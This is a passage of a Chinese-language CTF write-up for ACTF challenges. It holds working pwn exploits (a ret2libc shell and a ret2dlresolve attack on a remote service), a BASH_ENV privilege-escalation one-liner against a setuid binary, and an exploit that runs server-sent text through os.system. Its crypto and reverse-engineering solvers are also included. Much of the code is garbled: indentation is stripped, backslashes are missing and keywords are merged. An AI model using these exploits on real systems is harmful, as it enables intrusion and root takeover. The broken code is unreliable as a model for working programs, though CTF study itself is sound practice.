print(f"/bin/sh字符串地址: {hex(sh_str)}")
print(f"pop rdi gadget地址: {hex(pop_rdi)}")
# 构造最终Payload
Payload1 = p64(0)*17 + p64(pop_rdi) + p64(sh_str) + p64(ret) + p64(system)
# 发送最终Payload
print("发送最终Payload...")
raw_input()
r.send(Payload1)
r.interactive()
ret2dl by八爪鱼
本地稳定onegadget通,远端就是不通,不知道环境为啥
from pwnplus import *#pwnplus贴在blogbo.cn
import os
context.arch = 'amd64'
context.log_level = 'debug'
elf=ELF('./only_read')
libc=ELF('./libc.so.6')
remote=1
if remote:
p=mypwn('sensitive_ip:9999')
p.rcvu(b'Submit the token generated by `')
message=p.rcv(24)
cmd=message.decode()
os.system(cmd+'>temp')
ans=open('temp','rb').read()
os.remove('temp')
print(ans)
p.sda(b'seconds',ans)
else:
p=mypwn('./only_read')
def get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):
offset = system_base - solved_base
fake_Elf64_Dyn = b""
fake_Elf64_Dyn += p64(0) # d_tag 从link_map中找.rel.plt不需要用到标签, 随意设置
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) # d_ptr 指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体
fake_Elf64_Rela = b""
fake_Elf64_Rela += p64(
fake_link_map_addr - offset) # r_offset rel_addr = l->addr+reloc_offset,
# 直接指向fake_link_map所在位置令其可读写就行,offset为指向的需要的函数距离可得真实地址的函数的偏移
fake_Elf64_Rela += p64(7) # r_info index设置为0,最后一字节必须为7
fake_Elf64_Rela += p64(0) # r_addend 随意设置
fake_Elf64_Sym = b""
fake_Elf64_Sym += p32(0) # st_name 随意设置
fake_Elf64_Sym += b'AAAA'# st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
fake_Elf64_Sym += p64(got_solved_addr - 8) # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
fake_Elf64_Sym += p64(0) # st_size 随意设置
fake_link_map_data = b""
# 如果offset为负数使用补码
if offset < 0:
fake_link_map_data += p64(2 ** 64 + offset) # l_addr,伪造为两个函数的地址偏移值的补码(为负时)
else:
fake_link_map_data += p64(offset) # l_addr,伪造为两个函数的地址偏移值
fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += b'x00' * 0x20
fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB 设置为一个可读的地址
fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB 指向对应结构体数组的地址
fake_link_map_data += b"/bin/shx00"
fake_link_map_data += b'x01' * 0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向对应数组结构体的地址
return fake_link_map_data
retaddr=0x401142
bss=0x404580
fake_link_map_addr=bss+0x80
onegadget=[0x583ec,0x583f3,0xef4ce,0xef52b]
fake_link_map_data = get_ret2dl_data(fake_link_map_addr, elf.got['read'], onegadget[3], libc.symbols['read'])#onegadget也可以哦
paylaod1=flat({
0x80:p64(bss),
0x88:p64(retaddr),
},filler=b'x00')
if remote:
p.sda(b'Here is your challenge~',paylaod1)
else:
p.sd(paylaod1)
# p.debug()
# raw_input()
jmp_dl=0x401026
payload2=flat({
0:p64(retaddr)*8,
0x80:p64(bss-0x80),
0x88:p64(jmp_dl),
0x90:fake_link_map_addr,
0x98:0,
0x100:fake_link_map_data
},filler=b'x00')
p.sd(payload2)
p.ia()
Reverse
clé secrète
静态链接无符号,BinaryAI梭哈
初步调试发现先生成64随机字符,根据这一串字符生成随机数据,随后993次循环根据随机数据运算再得到一组hash
这里BinaryAI能容易的还原出一些crypto函数符号
初始64随机字符后,计算blake2b hash,取模到 ed25519
from nacl.bindings import crypto_core_ed25519_scalar_reduce
from nacl.bindings import crypto_core_ed25519_scalar_add
import hashlib
import struct
KEY = b"AfmVhxHgU1ipoxJOFKW65Ac2m21fnu7iH8YLzu8eEQoCUaKkKLkk3Y0mvU+LP9r/"# random
BigNum = []
for i in range(1024):
data = struct.pack("<Q",i)
b2B = hashlib.blake2b(key=KEY, digest_size=64)
b2B.update(data)
digest = b2B.digest()
r = crypto_core_ed25519_scalar_reduce(digest)
print(hex(int.from_bytes(r,'little')))
BigNum.append(r)
# print(r.hex())
随后993次循环,随机32字符,计算hash后,运算,取BigNum 中的32项相加
SELECT_TABLE = [
7, 4, 2, 3, 5, 1, 6, 7,
4, 6, 4, 5, 0, 7, 2, 3,
6, 0, 7, 6, 4, 3, 7, 5,
1, 2, 6, 1, 7, 0, 5, 6,
2, 7, 0, 2, 3, 5, 1, 0,
0, 1, 3, 7, 6, 2, 4, 4,
5, 3, 1, 0, 2, 4, 3, 2,
3, 5, 5, 4, 1, 6, 0, 1
]
def calc(data):
b2B = hashlib.blake2b(digest_size=64)
b2B.update(data)
digest = b2B.digest()
# print(digest.hex())
b2B = hashlib.blake2b(key = digest,digest_size=64)
data = struct.pack("<Q",0)
b2B.update(data)
digest = b2B.digest()
# print("AAA",digest.hex())
result = crypto_core_ed25519_scalar_reduce(b'x00'*64)
count = 0
for j in range(4):
s0 = digest[count + 0] & 7
s1 = digest[count + 1] & 7
count += 2
for k in range(8):
select = j*8 + SELECT_TABLE[((s0 + k)&7) * 8 + s1]
# print(select,s0 + k,s1)
result = crypto_core_ed25519_scalar_add(result,BigNum[select * 32 + (digest[count] & 0x1F) ])
# print(result.hex())
count += 1
return result
根据993次运算,构造方程还原随机数据,AI写高斯求解过程
from scipy.sparse import csr_matrix
from scipy.sparse.linalg import spsolve
import numpy as np
import hashlib
import struct
BigNum = [0for i in range(1024)]
MOD = 2 ** 252 + 27742317777372353535851937790883648493
SELECT_TABLE = [
7, 4, 2, 3, 5, 1, 6, 7,
4, 6, 4, 5, 0, 7, 2, 3,
6, 0, 7, 6, 4, 3, 7, 5,
1, 2, 6, 1, 7, 0, 5, 6,
2, 7, 0, 2, 3, 5, 1, 0,
0, 1, 3, 7, 6, 2, 4, 4,
5, 3, 1, 0, 2, 4, 3, 2,
3, 5, 5, 4, 1, 6, 0, 1
]
def calc(data):
b2B = hashlib.blake2b(digest_size=64)
b2B.update(data)
digest = b2B.digest()
# print(digest.hex())
b2B = hashlib.blake2b(key = digest,digest_size=64)
data = struct.pack("<Q",0)
b2B.update(data)
digest = b2B.digest()
# print("AAA",digest.hex())
result = 0
count = 0
for j in range(4):
s0 = digest[count + 0] & 7
s1 = digest[count + 1] & 7
count += 2
for k in range(8):
select = j*8 + SELECT_TABLE[((s0 + k)&7) * 8 + s1]
# print(select,s0 + k,s1)
result = (result + BigNum[select * 32 + (digest[count] & 0x1F) ] )
# print(result.hex())
count += 1
return result % MOD
def calc2(data):
b2B = hashlib.blake2b(digest_size=64)
b2B.update(data)
digest = b2B.digest()
# print(digest.hex())
b2B = hashlib.blake2b(key = digest,digest_size=64)
data = struct.pack("<Q",0)
b2B.update(data)
digest = b2B.digest()
# print("AAA",digest.hex())
result = [0for i in range(1024)]
count = 0
for j in range(4):
s0 = digest[count + 0] & 7
s1 = digest[count + 1] & 7
count += 2
for k in range(8):
select = j*8 + SELECT_TABLE[((s0 + k)&7) * 8 + s1]
# print(select,s0 + k,s1)
result[select * 32 + (digest[count] & 0x1F)] += 1
# print(result.hex())
count += 1
return result
def calc3(data):
b2B = hashlib.blake2b(digest_size=64)
b2B.update(data)
digest = b2B.digest()
# print(digest.hex())
b2B = hashlib.blake2b(key = digest,digest_size=64)
data = struct.pack("<Q",0)
b2B.update(data)
digest = b2B.digest()
# print("AAA",digest.hex())
result = []
count = 0
for j in range(4):
s0 = digest[count + 0] & 7
s1 = digest[count + 1] & 7
count += 2
for k in range(8):
select = j*8 + SELECT_TABLE[((s0 + k)&7) * 8 + s1]
# print(select,s0 + k,s1)
result.append(select * 32 + (digest[count] & 0x1F))
# print(result.hex())
count += 1
return result
def modinv(x, p):
return pow(x, p - 2, p) # 费马小定理求逆元,p是素数
def gauss_mod(mat, p):
n = len(mat) # 方程个数
m = len(mat[0]) - 1# 变量个数(最后一列是常数项)
row = 0
for col in range(m):
pivot = -1
for i in range(row, n):
if mat[i][col] % p != 0:
pivot = i
break
if pivot == -1:
continue# 自由变量
mat[row], mat[pivot] = mat[pivot], mat[row]
inv = modinv(mat[row][col], p)
for j in range(col, m + 1):
mat[row][j] = mat[row][j] * inv % p
for i in range(n):
if i != row and mat[i][col] % p != 0:
factor = mat[i][col]
for j in range(col, m + 1):
mat[i][j] = (mat[i][j] - factor * mat[row][j]) % p
row += 1
# 提取一个解(自由变量取0)
sol = [0] * m
for i in range(row):
first_one = next((j for j in range(m) if mat[i][j] == 1), None)
if first_one isnotNone:
sol[first_one] = mat[i][-1]
return sol
MOD = 2 ** 252 + 27742317777372353535851937790883648493
def solve_sparse_mod(A_sparse, b):
n_rows = len(A_sparse)
n_cols = 1024
# 构建完整稠密矩阵
A_dense = [[0] * n_cols for _ in range(n_rows)]
for i in range(n_rows):
for j in A_sparse[i]: # A_sparse[i] 是一个索引list
A_dense[i][j] = 1
# 接下来就是普通高斯消元
row = 0
for col in range(n_cols):
pivot = -1
for i in range(row, n_rows):
if A_dense[i][col] % MOD != 0:
pivot = i
break
if pivot == -1:
continue# 自由变量
A_dense[row], A_dense[pivot] = A_dense[pivot], A_dense[row]
b[row], b[pivot] = b[pivot], b[row]
inv = pow(A_dense[row][col], MOD-2, MOD)
for j in range(col, n_cols):
A_dense[row][j] = A_dense[row][j] * inv % MOD
b[row] = b[row] * inv % MOD
for i in range(n_rows):
if i != row and A_dense[i][col] != 0:
factor = A_dense[i][col]
for j in range(col, n_cols):
A_dense[i][j] = (A_dense[i][j] - factor * A_dense[row][j]) % MOD
b[i] = (b[i] - factor * b[row]) % MOD
row += 1
# 提取解
x = [0] * n_cols
for i in range(n_rows):
for j in range(n_cols):
if A_dense[i][j] == 1:
x[j] = b[i]
break
return x
D = ["htQnPFBD08/U7RSHB88Uz78zh+Nerbhr", ...]
A = ["f58d8d1521389d3db526aa4562390040878e77e55edaf4482762a8a6031d9b0a",...]
D_int = []
M = []
print("993")
for i in range(993):
a = int.from_bytes(bytes.fromhex(A[i]),'little')
r = calc3(D[i].encode())
M.append(r)
D_int.append(a)
for j in range(993):
for i in range(32):
print(M[j][i],end=' ')
print("!" + str(D_int[j]))
f = open("output.txt","r")
BL = f.readlines()
for i in range(1024):
BigNum[i] = int(BL[i])
# import time
# T1 = time.time()
# sol = solve_sparse_mod(M, D_int)
# T2 = time.time()
# print(T2 - T1)
# BigNum = sol
for i in range(993):
r = calc(D[i].encode()) # known
a = int.from_bytes(bytes.fromhex(A[i]),'little')
assert(r == a)
# print(r.to_bytes(32,"little").hex())
solve_sparse_mod 为求解过程,求解大概需要130s,远程连接会超时,
AI转写C
#include <gmp.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define MAX_COLS_PER_ROW 32
#define N_COLS 1024
void solve_sparse_mod(int** A_sparse, int* row_sizes, int n_rows, mpz_t* b, mpz_t* x) {
constint n_cols = 1024;
mpz_t MOD;
mpz_init(MOD);
// 初始化 MOD = 2^252 + 27742317777372353535851937790883648493
mpz_set_ui(MOD, 1);
mpz_mul_2exp(MOD, MOD, 252);
mpz_t add_mod;
mpz_init_set_str(add_mod, "27742317777372353535851937790883648493", 10);
mpz_add(MOD, MOD, add_mod);
mpz_clear(add_mod);
// 构建稠密矩阵 A_dense
mpz_t** A_dense = (mpz_t**)malloc(n_rows * sizeof(mpz_t*));
for (int i = 0; i < n_rows; i++) {
A_dense[i] = (mpz_t*)malloc(n_cols * sizeof(mpz_t));
for (int j = 0; j < n_cols; j++) {
mpz_init_set_ui(A_dense[i][j], 0);
}
for (int k = 0; k < row_sizes[i]; k++) {
int col_idx = A_sparse[i][k];
mpz_set_ui(A_dense[i][col_idx], 1);
}
}
int row = 0;
for (int col = 0; col < n_cols; col++) {
// 寻找主元
int pivot = -1;
for (int i = row; i < n_rows; i++) {
if (mpz_cmp_ui(A_dense[i][col], 0) != 0) {
pivot = i;
break;
}
}
if (pivot == -1) continue;
// 交换行
mpz_t* temp_row = A_dense[row];
A_dense[row] = A_dense[pivot];
A_dense[pivot] = temp_row;
// 交换b元素
mpz_swap(b[row], b[pivot]);
// 归一化当前行
mpz_t inv;
mpz_init(inv);
if (!mpz_invert(inv, A_dense[row][col], MOD)) {
mpz_clear(inv);
continue; // 理论上不应发生,假设MOD为质数
}
for (int j = col; j < n_cols; j++) {
mpz_mul(A_dense[row][j], A_dense[row][j], inv);
mpz_mod(A_dense[row][j], A_dense[row][j], MOD);
}
mpz_mul(b[row], b[row], inv);
mpz_mod(b[row], b[row], MOD);
mpz_clear(inv);
// 消元其他行
for (int i = 0; i < n_rows; i++) {
if (i == row) continue;
mpz_t factor;
mpz_init(factor);
mpz_set(factor, A_dense[i][col]);
if (mpz_cmp_ui(factor, 0) == 0) {
mpz_clear(factor);
continue;
}
for (int j = col; j < n_cols; j++) {
mpz_submul(A_dense[i][j], factor, A_dense[row][j]);
mpz_mod(A_dense[i][j], A_dense[i][j], MOD);
}
mpz_submul(b[i], factor, b[row]);
mpz_mod(b[i], b[i], MOD);
mpz_clear(factor);
}
row++;
if (row >= n_rows) break;
}
// 提取解x
for (int j = 0; j < n_cols; j++) {
mpz_set_ui(x[j], 0);
}
for (int i = 0; i < n_rows; i++) {
for (int j = 0; j < n_cols; j++) {
if (mpz_cmp_ui(A_dense[i][j], 1) == 0) {
mpz_set(x[j], b[i]);
break;
}
}
}
// 清理内存
// mpz_clear(MOD);
// for (int i = 0; i < n_rows; i++) {
// for (int j = 0; j < n_cols; j++) {
// mpz_clear(A_dense[i][j]);
// }
// free(A_dense[i]);
// }
// free(A_dense);
}
// 示例用法
int main(int argc, char* argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <input_file>n", argv[0]);
return1;
}
FILE* fp = fopen(argv[1], "r");
if (!fp) {
perror("Error opening file");
return1;
}
// 读取n_rows(文件第一行)
int n_rows;
if (fscanf(fp, "%dn", &n_rows) != 1) {
fprintf(stderr, "Error reading n_rowsn");
fclose(fp);
return1;
}
// 分配内存
int** A_sparse = (int**)malloc(n_rows * sizeof(int*));
int* row_sizes = (int*)malloc(n_rows * sizeof(int));
mpz_t* b = (mpz_t*)malloc(n_rows * sizeof(mpz_t));
char line[4096];
for (int i = 0; i < n_rows; i++) {
if (!fgets(line, sizeof(line), fp)) {
fprintf(stderr, "Error reading row %dn", i);
break;
}
// 解析32个列索引
A_sparse[i] = (int*)malloc(MAX_COLS_PER_ROW * sizeof(int));
char* ptr = line;
int count = 0;
for (int j = 0; j < MAX_COLS_PER_ROW; j++) {
int col;
if (sscanf(ptr, "%d%n", &col, &count) != 1) {
fprintf(stderr, "Error reading columns for row %dn", i);
break;
}
A_sparse[i][j] = col;
ptr += count;
}
row_sizes[i] = MAX_COLS_PER_ROW;
// 读取b值(行末的大整数)
mpz_init(b[i]);
if (mpz_set_str(b[i], strchr(line, '!') + 1, 10) != 0) {
fprintf(stderr, "Error parsing b value for row %dn", i);
mpz_set_ui(b[i], 0);
}
// gmp_printf("%Zdn", b[i]);
}
fclose(fp);
// 初始化解向量
mpz_t* x = (mpz_t*)malloc(N_COLS * sizeof(mpz_t));
for (int i = 0; i < N_COLS; i++) {
mpz_init(x[i]);
}
// printf("Stage1n");
// 求解
solve_sparse_mod(A_sparse, row_sizes, n_rows, b, x);
// // 输出结果(示例:前10个解)
// printf("First 10 solutions:n");
for (int i = 0; i < 1024; i++) {
gmp_printf("%Zdn", x[i]);
}
// // 清理内存
// for (int i = 0; i < n_rows; i++) {
// free(A_sparse[i]);
// mpz_clear(b[i]);
// }
// free(A_sparse);
// free(row_sizes);
// free(b);
// for (int i = 0; i < N_COLS; i++) {
// mpz_clear(x[i]);
// }
// free(x);
return0;
}
解一组大概需要29.5s
python交互
from pwn import *
rrr = remote("sensitive_ip",9999)
D = []
A = []
rrr.recvline()
for i in range(993):
rrr.recvuntil(b' = ')
ID = rrr.recvuntil(b',').strip(b',').decode()
rrr.recvuntil(b' = ')
CS = rrr.recvline().strip().decode()
D.append(ID)
A.append(CS)
print(ID,CS)
BigNum = [0for i in range(1024)]
MOD = 2 ** 252 + 27742317777372353535851937790883648493
SELECT_TABLE = [
7, 4, 2, 3, 5, 1, 6, 7,
4, 6, 4, 5, 0, 7, 2, 3,
6, 0, 7, 6, 4, 3, 7, 5,
1, 2, 6, 1, 7, 0, 5, 6,
2, 7, 0, 2, 3, 5, 1, 0,
0, 1, 3, 7, 6, 2, 4, 4,
5, 3, 1, 0, 2, 4, 3, 2,
3, 5, 5, 4, 1, 6, 0, 1
]
def calc(data):
b2B = hashlib.blake2b(digest_size=64)
b2B.update(data)
digest = b2B.digest()
# print(digest.hex())
b2B = hashlib.blake2b(key = digest,digest_size=64)
data = struct.pack("<Q",0)
b2B.update(data)
digest = b2B.digest()
# print("AAA",digest.hex())
result = 0
count = 0
for j in range(4):
s0 = digest[count + 0] & 7
s1 = digest[count + 1] & 7
count += 2
for k in range(8):
select = j*8 + SELECT_TABLE[((s0 + k)&7) * 8 + s1]
# print(select,s0 + k,s1)
result = (result + BigNum[select * 32 + (digest[count] & 0x1F) ] )
# print(result.hex())
count += 1
return result % MOD
def calc3(data):
b2B = hashlib.blake2b(digest_size=64)
b2B.update(data)
digest = b2B.digest()
# print(digest.hex())
b2B = hashlib.blake2b(key = digest,digest_size=64)
data = struct.pack("<Q",0)
b2B.update(data)
digest = b2B.digest()
# print("AAA",digest.hex())
result = []
count = 0
for j in range(4):
s0 = digest[count + 0] & 7
s1 = digest[count + 1] & 7
count += 2
for k in range(8):
select = j*8 + SELECT_TABLE[((s0 + k)&7) * 8 + s1]
# print(select,s0 + k,s1)
result.append(select * 32 + (digest[count] & 0x1F))
# print(result.hex())
count += 1
return result
D_int = []
f = open("input.txt","w")
f.write("993n")
import time
T1 = time.time()
M = []
for i in range(993):
a = int.from_bytes(bytes.fromhex(A[i]),'little')
r = calc3(D[i].encode())
M.append(r)
D_int.append(a)
for j in range(993):
for i in range(32):
f.write(str(M[j][i]) +" ")
f.write("!" + str(D_int[j]) + "n")
f.close()
os.system("./a.out input.txt > output.txt")
f = open("output.txt","r")
BL = f.readlines()
for i in range(1024):
BigNum[i] = int(BL[i])
T2 = time.time()
print(T2 - T1)
context.log_level = 'debug'
rrr.recvuntil(b' de ')
ID = rrr.recvline().strip().decode()
r = calc(ID.encode())
ans = r.to_bytes(32,"little").hex()
rrr.sendline(ans)
rrr.interactive()
ACTF{N0-fU1L~r@nK_OnIy-mAke_problem-simple||doge||xbewi3943}
ezFPGA
AI转写 encryptor.sv to C
#include <stdint.h>
#include <string.h>
typedefuint8_tuint8_t;
int main() {
// 初始化FLAG和aa数组
constuint8_t FLAG[14] = {'A','C','T','F','{','t','e','s','t','f','l','a','g','}'};
uint8_t aa[39] = {0};
for(int i=0; i<14; i++) aa[i] = FLAG[i];
// 定义并计算ac数组
constuint8_t ab[4] = {11,4,5,14};
uint8_t ac[36] = {0};
for(int i=0; i<36; i++) {
ac[i] = aa[i]*ab[0] + aa[i+1]*ab[1] + aa[i+2]*ab[2] + aa[i+3]*ab[3];
}
// 定义ad并计算ae数组
constuint8_t ad[36] = {116,174,193,124,102,100,11,193,115,4,127,139,98,214,197,145,97,151,31,30,117,15,230,179,235,25,244,202,73,222,15,191,119,140,94,32};
uint8_t ae[36] = {0};
for(int i=0; i<36; i++) {
int block = i / 6;
int pos = i % 6;
for(int k=0; k<6; k++) {
ae[i] += ac[block*6 + k] * ad[pos + k*6];
}
}
// 初始化密钥调度相关数组
uint8_t ba[256];
uint8_t db[8] = {'e','c','l','i','p','s','k','y'};
uint8_t af[36] = {0};
// S0状态:初始化ba数组
for(int da=0; da<256; da++) ba[da] = da;
// S1状态:置换ba数组
uint8_t cg = 0;
for(int da=0; da<256; da++) {
uint8_t ch = cg + ba[da] + db[da%8];
uint8_t temp = ba[da];
ba[da] = ba[ch];
ba[ch] = temp;
cg = ch;
}
// S2状态:生成af数组
uint8_t ca = 0, cb = 0;
for(int da=0; da<36; da++) {
uint8_t cd = ca + 1;
uint8_t ce = cb + ba[cd];
uint8_t cf = ba[cd] + ba[ce];
// 交换ba[cd]和ba[ce]
uint8_t temp = ba[cd];
ba[cd] = ba[ce];
ba[ce] = temp;
af[da] = ba[cf] + ae[da];
ca = cd;
cb = ce;
}
// S3状态:输出结果(示例输出)
for(int da=0; da<36; da++) {
printf("cypher[%d] = %dn", da, af[da]);
}
return0;
}
其中密文观察Testbench.vcd发现
注意到中间有空,如果值不变则不会输出,这里的密文要重复上一个字节
0xad,0x00,0xc0,0x9f,0x16,0x17,0xec,0x25,0x25,0x1f,0x12,0xe2,0x7f,0x9f,0x37,0x53, 0x12,0xba,0x8d,0x38,0x60,0x14,0x1b,0x31,0x8e,0x13,0xe2,0x56,0x0a,0x1a,0x25,0xb9, 0x80,0x73,0x8a,0x60
可以看到有个类似于RC4的算法,先解RC4
#include <stdint.h>
#include <string.h>
typedefuint8_tuint8_t;
int main() {
uint8_t ae[36] = {0};
// 初始化密钥调度相关数组
uint8_t ba[256];
uint8_t db[8] = {'e','c','l','i','p','s','k','y'};
uint8_t af[36] = {
0xad,0x00,0xc0,0x9f,0x16,0x17,0xec,0x25,0x25,0x1f,0x12,0xe2,0x7f,0x9f,0x37,0x53,
0x12,0xba,0x8d,0x38,0x60,0x14,0x1b,0x31,0x8e,0x13,0xe2,0x56,0x0a,0x1a,0x25,0xb9,
0x80,0x73,0x8a,0x60};
// S0状态:初始化ba数组
for(int da=0; da<256; da++) ba[da] = da;
// S1状态:置换ba数组
uint8_t cg = 0;
for(int da=0; da<256; da++) {
uint8_t ch = cg + ba[da] + db[da%8];
uint8_t temp = ba[da];
ba[da] = ba[ch];
ba[ch] = temp;
cg = ch;
}
// S2状态:生成af数组
uint8_t ca = 0, cb = 0;
for(int da=0; da<36; da++) {
uint8_t cd = ca + 1;
uint8_t ce = cb + ba[cd];
uint8_t cf = ba[cd] + ba[ce];
// 交换ba[cd]和ba[ce]
uint8_t temp = ba[cd];
ba[cd] = ba[ce];
ba[ce] = temp;
ae[da] = af[da] - ba[cf];
ca = cd;
cb = ce;
}
for(int da=0; da<36; da++) {
printf("0x%.2x,", ae[da]);
}
printf("n");
return0;
}
随后z3求解
from z3 import *
ANS = [BitVec("ANS%.2d"%i,8) for i in range(39)]
s = Solver()
s.add(ANS[0] == 0x41)
s.add(ANS[1] == 0x43)
s.add(ANS[2] == 0x54)
s.add(ANS[3] == 0x46)
s.add(ANS[4] == 0x7B)
for i in range(5,39):
s.add(Or(ULE(ANS[i],0x7e),ANS[i] == 0))
ab = [11,4,5,14]
AC = [BitVec("AC%.2d"%i,8) for i in range(36)]
for i in range(36):
s.add(AC[i] == ANS[i + 0] * 11 + ANS[i + 1] * 4 + ANS[i + 2] * 5 + ANS[i + 3] * 14 )
AE = [BitVecVal(0,8) for i in range(36)]
AD = [116,174,193,124,102,100,11,193,115,4,127,139,98,214,197,145,97,151,31,30,117,15,230,179,235,25,244,202,73,222,15,191,119,140,94,32]
for i in range(36):
for j in range(6):
block = i // 6
pos = i % 6
AE[i] += AC[block*6 +j] * AD[pos + j*6]
AE_ANS=[0x6b,0x01,0xbf,0x6d,0xbc,0x16,0x49,0x91,0xf3,0xeb,0x4c,0x71,0x4e,0xf0,0xc0,0xc5,0x46,0xf8,0x7d,0x51,0x52,0x3d,0x8b,0x8e,0x4e,0xd8,0xa2,0xb2,0x33,0xe3,0xf4,0x87,0x52,0x87,0xc3,0x22,]
for i in range(36):
s.add(AE[i] == AE_ANS[i])
s.check()
m = s.model()
for i in range(39):
print(chr(m.eval(ANS[i]).as_long()),end='')
ACTF{RC4_4nd_FPGA_w4lk_1nt0_4_b4r}
Crypto
easy_log
先放flag
几个简单的素数用sage处理就好了,很快
生成第二步用的p400
用神器不限时解240的那个大素数得到的结果
remainders = []
modulus_list = []
for p, e in list(n_dic.items()):
if p in (2,5): # 小因子不用管
continue
order = p**e
print(f'处理素因子 {p}^{e}')
# 判断 5 是否为 p 上的平方剩余
F0 = GF(p^e)
F1.<X> = PolynomialRing(F0)
if F0(5).is_square():
F = F0
sqrt5 = F(5).sqrt()
else:
F.<a> = GF(p^2, name='a', modulus=X^2-5) # a^2=5
sqrt5 = F(a)
# F(5).sqrt() 是 a
# 实现映射
def phi(P):
return F(P.x) * (sqrt5 - 1) / 2 + F(P.y)
# G1/f1 投影到模 p 空间
G1p = Point(int(G1.x % order), int(G1.y % order))
Pp = Point(int(P.x % order), int(P.y % order))
base = phi(G1p)
target = phi(Pp)
try:
print(base,target)
if p==p1:
continue
k = discrete_log(target, base) # Sage的discrete_log
print(f'{k%((p-1)*p^(1-1))}')
print(sk1%((p-1)*p^(1-1)))
remainders.append(int(k))
modulus_list.append((p-1)*p^(1-1))
except Exception as ex:
print('DLP求解失败:', ex)
# 可调整下 base 是否非平凡,或尝试 -base, 或加点绕路等
continue
flags=b"ACTF{OL#m9Lpg8D1$<R3&e=10"
for i in range(20,30):
try:
flag0 = crt(remainders+[bytes_to_long(flags[:i])], modulus_list+[2^(8*i)])
if ((flag0).nbits()<545):
print((flag0).nbits())
print(long_to_bytes(flag0))
print(flag0)
print(p400)
except:
continue
# -*- coding: utf-8 -*-
import random # Sage 内置 Python 的 random 模块
def is_B_smooth(n, B):
"""
检查 n 是否 B-光滑(即 n 的所有素因子均不大于 B)
"""
for prime_factor, exp in factor(n):
if prime_factor > B:
returnFalse
returnTrue
def generate_p1_smooth_prime(nbits, B, max_trials=10000):
"""
生成一个素数 p,要求:
1. p 的位长为 nbits,
2. p-1 是 B-光滑的。
算法说明:
- 取素数列表 ps = 所有不超过 B 的素数;
- 每次试验中,先随机打乱 ps 的顺序;
- 对每个 p_in_ps,随机选取一个指数(这里限制不超过 4 或者受上限控制),
使得候选数 candidate *= (p_in_ps)^e 不超过 2^nbits(候选 p-1 的上限)。
- 令 p_candidate = candidate + 1,如果 p_candidate 在 [2^(nbits-1), 2^nbits)
区间内且为素数,则返回 p_candidate。
"""
lower_bound = 2**(nbits - 1)
upper_bound = 2**nbits
ps = list(prime_range(2, B + 1))
trial = 0
while trial < max_trials:
trial += 1
candidate = 1
# 随机打乱素数列表,增加生成候选数的多样性
random.shuffle(ps)
for p in ps:
# 当 candidate 过大时跳出
if candidate >= upper_bound:
break
# 计算在不使 candidate 超出上界的条件下,能够用 p 的最大指数
max_e = floor(log(upper_bound / candidate, p))
# 为避免指数过大,限制最大指数为 4(该参数可根据需要调整)
max_e = min(max_e, 4)
if max_e < 1:
continue
# 随机选取指数 0 到 max_e 之间(包含 0,表示该质因子本轮不参与)
e = randint(0, max_e)
candidate *= p**e
p_candidate = candidate + 1
# 检查 p_candidate 是否达到位长要求,且为素数
if lower_bound <= p_candidate < upper_bound and is_prime(p_candidate):
# 理论上 candidate 已由位于 [2, B] 内的素数构成,p_candidate-1 自然 B-光滑,
# 但这里可再加一次验证:
if is_B_smooth(p_candidate - 1, B):
print("经过 {} 次试验后找到合适的 p".format(trial))
return p_candidate
raise ValueError("在 {} 次试验内未能生成满足条件的素数,考虑调整参数 nbits 或 B".format(max_trials))
# 参数设定:例如生成 256 位、p-1 所有素因子均不超过 1000 的 p
nbits = 256
B = 1000
p = generate_p1_smooth_prime(nbits, B)
print("生成的 p =", p)
print("验证 p 的位长 =", p.nbits(), "位")
print("验证 p-1 的素因子:", factor(p - 1))
Misc
signin
看commit记录
Hard guess
社工出账密:
Username:KatoMegumi
Password:Megumi960923
flag在root里,发现/opt下的hello在刚开始就 setuid(0); setgid(0);
,后面还有 system("bash -c ...")
,而且没有清理BASH_ENV,可以利用利用这个环境变量提权:
echo '#!/bin/bashnls /root' > /tmp/pwn.sh && chmod +x /tmp/pwn.sh && BASH_ENV=/tmp/pwn.sh bash -c './hello <<< n'
master of movie
没什么好说的,谷歌识图+GPT
Easy
-
tt0017136 -
tt8893624 -
tt0109946 -
tt17526714 -
tt31309480 -
tt34382036 -
tt8503618 -
tt0368226 -
tt0103767 -
tt0110912
Hard
-
-
tt0109688 -
-
tt0043306 -
tt5004766
QQQRCode
这个用来爆sha256更快
from hashlib import *
from tqdm import tqdm
from pwn import *
def proof_of_work(suffix, xx):
S = ''.join(chr(h) for h in range(33, 127))
found = threading.Event()
result_queue = Queue() # 线程安全的结果容器
def check_combinations(h_chunk):
try:
for h in tqdm(h_chunk):
if found.is_set():
return
for i in S:
for j in S:
for k in S:
candidate = h + i + j + k
if hashlib.sha256((candidate + suffix).encode("utf-8")).hexdigest() == xx:
result_queue.put(candidate)
found.set()
return
except Exception as e:
print(f"线程内部异常: {e}")
found.set()
num_threads = 4
chunk_size = len(S) // num_threads
chunks = [S[i*chunk_size:(i+1)*chunk_size] for i in range(num_threads)]
if len(S) % num_threads != 0:
chunks[-1] += S[num_threads*chunk_size:]
with ThreadPoolExecutor(max_workers=num_threads) as executor:
futures = [executor.submit(check_combinations, chunk) for chunk in chunks]
try:
for future in as_completed(futures):
ifnot result_queue.empty():
found.set()
for f in futures:
f.cancel()
break
except Exception as e:
print(f"任务监控异常: {e}")
ifnot result_queue.empty():
print("Done")
return result_queue.get()
else:
print("DONE")
returnNone
ip='sensitive_ip'
port=9999
p=remote(ip,port)
byte = p.recvline().decode()
xx = byte.split(" == ")[1].split('n')[0]
suffix = byte.split(") == ")[0].split('+')[1]
print(xx)
print(suffix)
p.recvuntil(":")
p.sendline(proof_of_work(suffix,xx))
print(p.recvline())
bytes = p.recvuntil(":")
第二步的二维码构造可以使用如下代码:
import qrcode
from pyzbar.pyzbar import decode
from PIL import Image
def generate_qr_matrix(word):
qr = qrcode.QRCode(
version=1,
